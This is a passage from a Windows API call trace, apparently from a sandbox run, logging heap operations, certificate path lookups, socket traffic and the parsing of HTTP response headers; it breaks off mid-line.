0x2d45ef8 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35fa8 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35050 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35548 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35620 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36088 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac28 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x19) returned 0x2d4a498 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35230 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34d08 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36368 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab28 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x17) returned 0x2d35ee8 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35b90 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e58 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d361a8 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aaf8 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x32) returned 0x2d56200 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35bf0 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35758 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35cc8 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ad58 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x5) returned 0x2d4ace8 [0119.530] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35050, Size=0x20) returned 0x2d4a1f0 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35050 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35ab8 [0119.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36448 [0119.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aad8 [0119.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x17) returned 0x2d363a8 [0119.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d354e8 [0119.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35488 [0119.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36308 [0119.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab78 [0119.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x73) returned 0x2d5b300 [0119.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35a40 [0119.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35650 [0119.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36188 [0119.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4acf8 [0119.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x46) returned 0x2d46178 [0119.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35a70 [0119.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d359c8 [0119.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36408 [0119.531] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a1f0, Size=0x40) returned 0x2d36638 [0119.531] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34c90, Size=0x20) returned 0x2d4a510 [0119.531] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d357e8 | out: hHeap=0x2a0000) returned 1 [0119.531] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35b48 | out: hHeap=0x2a0000) returned 1 [0119.532] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36348 | out: hHeap=0x2a0000) returned 1 [0119.532] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35e88 | out: hHeap=0x2a0000) returned 1 [0119.532] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35b48, Size=0x20) returned 0x2d4a678 [0119.532] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35b48, Size=0x20) returned 0x2d4a1a0 [0119.532] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35698, Size=0x20) returned 0x2d4a510 [0119.532] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d351d0, Size=0x20) returned 0x2d4a1a0 [0119.532] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d351d0, Size=0x20) returned 0x2d4a330 [0119.532] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35698, Size=0x20) returned 0x2d4a510 [0119.532] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d354b8, Size=0x10) returned 0x2d35128 [0119.532] GetCurrentThreadId () returned 0x9fc [0119.532] GetCurrentThreadId () returned 0x9fc [0119.532] GetCurrentThreadId () returned 0x9fc [0119.532] GetCurrentDirectoryA (in: nBufferLength=0x105, lpBuffer=0x18f41c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0119.532] FindFirstFileA (in: lpFileName="/usr/local/ssl/certs/653b494a.0", lpFindFileData=0x18f55c | out: lpFindFileData=0x18f55c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x11089ae1, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x2d51008, ftLastAccessTime.dwHighDateTime=0x2a0000, ftLastWriteTime.dwLowDateTime=0x2d510f0, ftLastWriteTime.dwHighDateTime=0x18f601, nFileSizeHigh=0x18f87c, nFileSizeLow=0x5, dwReserved0=0x0, dwReserved1=0xf, cFileName="tö\x18", cAlternateFileName="")) returned 0xffffffff [0119.533] GetLastError () returned 0x3 [0119.533] GetFullPathNameA (in: lpFileName="/usr/local/ssl/certs/653b494a.0", nBufferLength=0x104, lpBuffer=0x18f69c, lpFilePart=0x18f4f4 | out: lpBuffer="C:\\usr\\local\\ssl\\certs\\653b494a.0", lpFilePart=0x18f4f4*="653b494a.0") returned 0x21 [0119.533] GetLastError () returned 0x3 [0119.533] GetCurrentDirectoryA (in: nBufferLength=0x105, lpBuffer=0x18f414 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0119.533] FindFirstFileA (in: lpFileName="/usr/local/ssl/certs/bd1c2838.0", lpFindFileData=0x18f554 | out: lpFindFileData=0x18f554*(dwFileAttributes=0x134249, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x2d51008, ftLastAccessTime.dwHighDateTime=0x2a0000, ftLastWriteTime.dwLowDateTime=0x2d510f0, ftLastWriteTime.dwHighDateTime=0x2a0000, nFileSizeHigh=0x2d510f0, nFileSizeLow=0x18f601, dwReserved0=0x0, dwReserved1=0xf, cFileName="lö\x18", cAlternateFileName="")) returned 0xffffffff [0119.533] GetLastError () returned 0x3 [0119.533] GetFullPathNameA (in: lpFileName="/usr/local/ssl/certs/bd1c2838.0", nBufferLength=0x104, lpBuffer=0x18f694, lpFilePart=0x18f4ec | out: lpBuffer="C:\\usr\\local\\ssl\\certs\\bd1c2838.0", lpFilePart=0x18f4ec*="bd1c2838.0") returned 0x21 [0119.533] GetLastError () returned 0x3 [0119.533] WSASetLastError (iError=0) [0119.533] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.533] SetLastError (dwErrCode=0x0) [0119.533] WSASetLastError (iError=0) [0119.533] recv (in: s=0x12c, buf=0x2d51900, len=148, flags=0 | out: buf=0x2d51900*) returned 148 [0119.534] WSASetLastError (iError=0) [0119.534] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.534] SetLastError (dwErrCode=0x0) [0119.534] WSASetLastError (iError=0) [0119.535] recv (in: s=0x12c, buf=0x2d51900, len=4, flags=0 | out: buf=0x2d51900*) returned 4 [0119.535] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f620 | out: lpSystemTimeAsFileTime=0x18f620*(dwLowDateTime=0x9826d100, dwHighDateTime=0x1d60051)) [0119.535] GetCurrentThreadId () returned 0x9fc [0119.535] GetCurrentThreadId () returned 0x9fc [0119.535] GetCurrentThreadId () returned 0x9fc [0119.538] WSASetLastError (iError=0) [0119.538] send (s=0x12c, buf=0x2d571e8*, len=126, flags=0) returned 126 [0119.553] SetLastError (dwErrCode=0x0) [0119.553] WSASetLastError (iError=0) [0119.553] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.567] SetLastError (dwErrCode=0x0) [0119.567] WSASetLastError (iError=0) [0119.567] recv (in: s=0x12c, buf=0x2d51900, len=186, flags=0 | out: buf=0x2d51900*) returned 186 [0119.567] WSASetLastError (iError=0) [0119.567] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.567] SetLastError (dwErrCode=0x0) [0119.567] WSASetLastError (iError=0) [0119.567] recv (in: s=0x12c, buf=0x2d51900, len=1, flags=0 | out: buf=0x2d51900*) returned 1 [0119.567] WSASetLastError (iError=0) [0119.567] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.568] SetLastError (dwErrCode=0x0) [0119.568] WSASetLastError (iError=0) [0119.568] recv (in: s=0x12c, buf=0x2d51900, len=40, flags=0 | out: buf=0x2d51900*) returned 40 [0119.568] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Host", cchCount1=4, lpString2="Accept", cchCount2=6) returned 3 [0119.568] GetCurrentThreadId () returned 0x9fc [0119.568] GetCurrentThreadId () returned 0x9fc [0119.568] GetCurrentThreadId () returned 0x9fc [0119.568] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Host", cchCount1=4, lpString2="User-Agent", cchCount2=10) returned 1 [0119.568] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Accept", cchCount1=6, lpString2="User-Agent", cchCount2=10) returned 1 [0119.568] GetCurrentThreadId () returned 0x9fc [0119.568] GetCurrentThreadId () returned 0x9fc [0119.568] GetCurrentThreadId () returned 0x9fc [0119.568] WSASetLastError (iError=0) [0119.568] send (s=0x12c, buf=0x2d409d3*, len=224, flags=0) returned 224 [0119.569] GetTickCount64 () returned 0x11509d1 [0119.569] select (in: nfds=0, readfds=0x18f9f4, writefds=0x0, exceptfds=0x0, timeout=0x0 | out: readfds=0x18f9f4, writefds=0x0, exceptfds=0x0) returned 1 [0119.594] SetLastError (dwErrCode=0x0) [0119.594] SetLastError (dwErrCode=0x0) [0119.594] WSASetLastError (iError=0) [0119.594] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.594] SetLastError (dwErrCode=0x0) [0119.594] WSASetLastError (iError=0) [0119.594] recv (in: s=0x12c, buf=0x2d51900, len=642, flags=0 | out: buf=0x2d51900*) returned 642 [0119.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1.0", cchCount1=3, lpString2="1.1", cchCount2=3) returned 1 [0119.594] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1.1", cchCount1=3, lpString2="1.1", cchCount2=3) returned 2 [0119.594] GetTickCount64 () returned 0x11509f0 [0119.594] GetTickCount64 () returned 0x11509f0 [0119.594] GetTickCount64 () returned 0x11509f0 [0119.594] GetTickCount64 () returned 0x11509f0 [0119.595] GetTickCount64 () returned 0x11509f0 [0119.595] GetTickCount64 () returned 0x11509f0 [0119.595] GetTickCount64 () returned 0x11509f0 [0119.595] GetTickCount64 () returned 0x11509f0 [0119.595] GetTickCount64 () returned 0x11509f0 [0119.595] GetTickCount64 () returned 0x11509f0 [0119.595] GetTickCount64 () returned 0x11509f0 [0119.595] GetTickCount64 () returned 0x11509f0 [0119.595] GetTickCount64 () returned 0x11509f0 [0119.595] GetTickCount64 () returned 0x11509f0 [0119.595] GetTickCount64 () returned 0x11509f0 [0119.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Cache-control", cchCount2=13) returned 3 [0119.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Cache-control", cchCount2=13) returned 3 [0119.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Cache-control", cchCount2=13) returned 3 [0119.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Cache-control", cchCount2=13) returned 3 [0119.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Cache-control", cchCount2=13) returned 3 [0119.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Cache-control", cchCount2=13) returned 3 [0119.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Cache-control", cchCount2=13) returned 1 [0119.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Cache-control", cchCount2=13) returned 2 [0119.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Connection", cchCount2=10) returned 3 [0119.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Connection", cchCount2=10) returned 3 [0119.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Connection", cchCount2=10) returned 3 [0119.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Connection", cchCount2=10) returned 2 [0119.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Version", cchCount2=15) returned 3 [0119.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Version", cchCount2=15) returned 1 [0119.595] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Version", cchCount2=15) returned 3 [0119.596] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Version", cchCount2=15) returned 1 [0119.596] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Version", cchCount2=15) returned 3 [0119.596] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Version", cchCount2=15) returned 3 [0119.596] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Version", cchCount2=15) returned 1 [0119.596] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Version", cchCount2=15) returned 1 [0119.599] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Version", cchCount2=15) returned 3 [0119.599] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Version", cchCount2=15) returned 1 [0119.599] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Version", cchCount2=15) returned 1 [0119.599] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Version", cchCount2=15) returned 3 [0119.599] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Version", cchCount2=15) returned 3 [0119.599] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Version", cchCount2=15) returned 1 [0119.599] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.599] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.599] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.600] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.601] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.601] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.601] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.601] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Encoding", cchCount2=16) returned 3 [0119.601] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Encoding", cchCount2=16) returned 1 [0119.601] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Language", cchCount2=16) returned 3 [0119.601] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Language", cchCount2=16) returned 3 [0119.601] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Language", cchCount2=16) returned 3 [0119.601] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Language", cchCount2=16) returned 1 [0119.601] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Language", cchCount2=16) returned 3 [0119.601] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Language", cchCount2=16) returned 3 [0119.601] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Language", cchCount2=16) returned 1 [0119.601] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Language", cchCount2=16) returned 1 [0119.601] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Language", cchCount2=16) returned 3 [0119.601] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Language", cchCount2=16) returned 1 [0119.601] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Language", cchCount2=16) returned 1 [0119.601] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Language", cchCount2=16) returned 3 [0119.601] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Language", cchCount2=16) returned 3 [0119.601] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Language", cchCount2=16) returned 1 [0119.601] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Type", cchCount2=12) returned 3 [0119.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Type", cchCount2=12) returned 2 [0119.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UTF-8", cchCount1=1, lpString2="\"", cchCount2=1) returned 3 [0119.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="charset=UTF-8", cchCount1=7, lpString2="charset", cchCount2=7) returned 2 [0119.602] GetCurrentThreadId () returned 0x9fc [0119.602] GetCurrentThreadId () returned 0x9fc [0119.602] GetCurrentThreadId () returned 0x9fc [0119.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Length", cchCount2=14) returned 3 [0119.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Length", cchCount2=14) returned 3 [0119.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Length", cchCount2=14) returned 3 [0119.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Length", cchCount2=14) returned 1 [0119.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Length", cchCount2=14) returned 3 [0119.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Length", cchCount2=14) returned 3 [0119.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Length", cchCount2=14) returned 1 [0119.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Length", cchCount2=14) returned 1 [0119.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Length", cchCount2=14) returned 3 [0119.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Length", cchCount2=14) returned 1 [0119.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Length", cchCount2=14) returned 1 [0119.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Length", cchCount2=14) returned 3 [0119.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Length", cchCount2=14) returned 3 [0119.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Length", cchCount2=14) returned 1 [0119.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Range", cchCount2=13) returned 3 [0119.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Range", cchCount2=13) returned 3 [0119.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Range", cchCount2=13) returned 3 [0119.602] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Range", cchCount2=13) returned 1 [0119.603] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Range", cchCount2=13) returned 3 [0119.603] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Range", cchCount2=13) returned 3 [0119.603] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Range", cchCount2=13) returned 1 [0119.603] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Range", cchCount2=13) returned 1 [0119.603] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Range", cchCount2=13) returned 3 [0119.603] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Range", cchCount2=13) returned 1 [0119.603] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Range", cchCount2=13) returned 1 [0119.603] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Range", cchCount2=13) returned 3 [0119.603] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Range", cchCount2=13) returned 3 [0119.603] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Range", cchCount2=13) returned 1 [0119.603] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Date", cchCount2=4) returned 2 [0119.603] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Sun", cchCount1=3, lpString2="SUN", cchCount2=3) returned 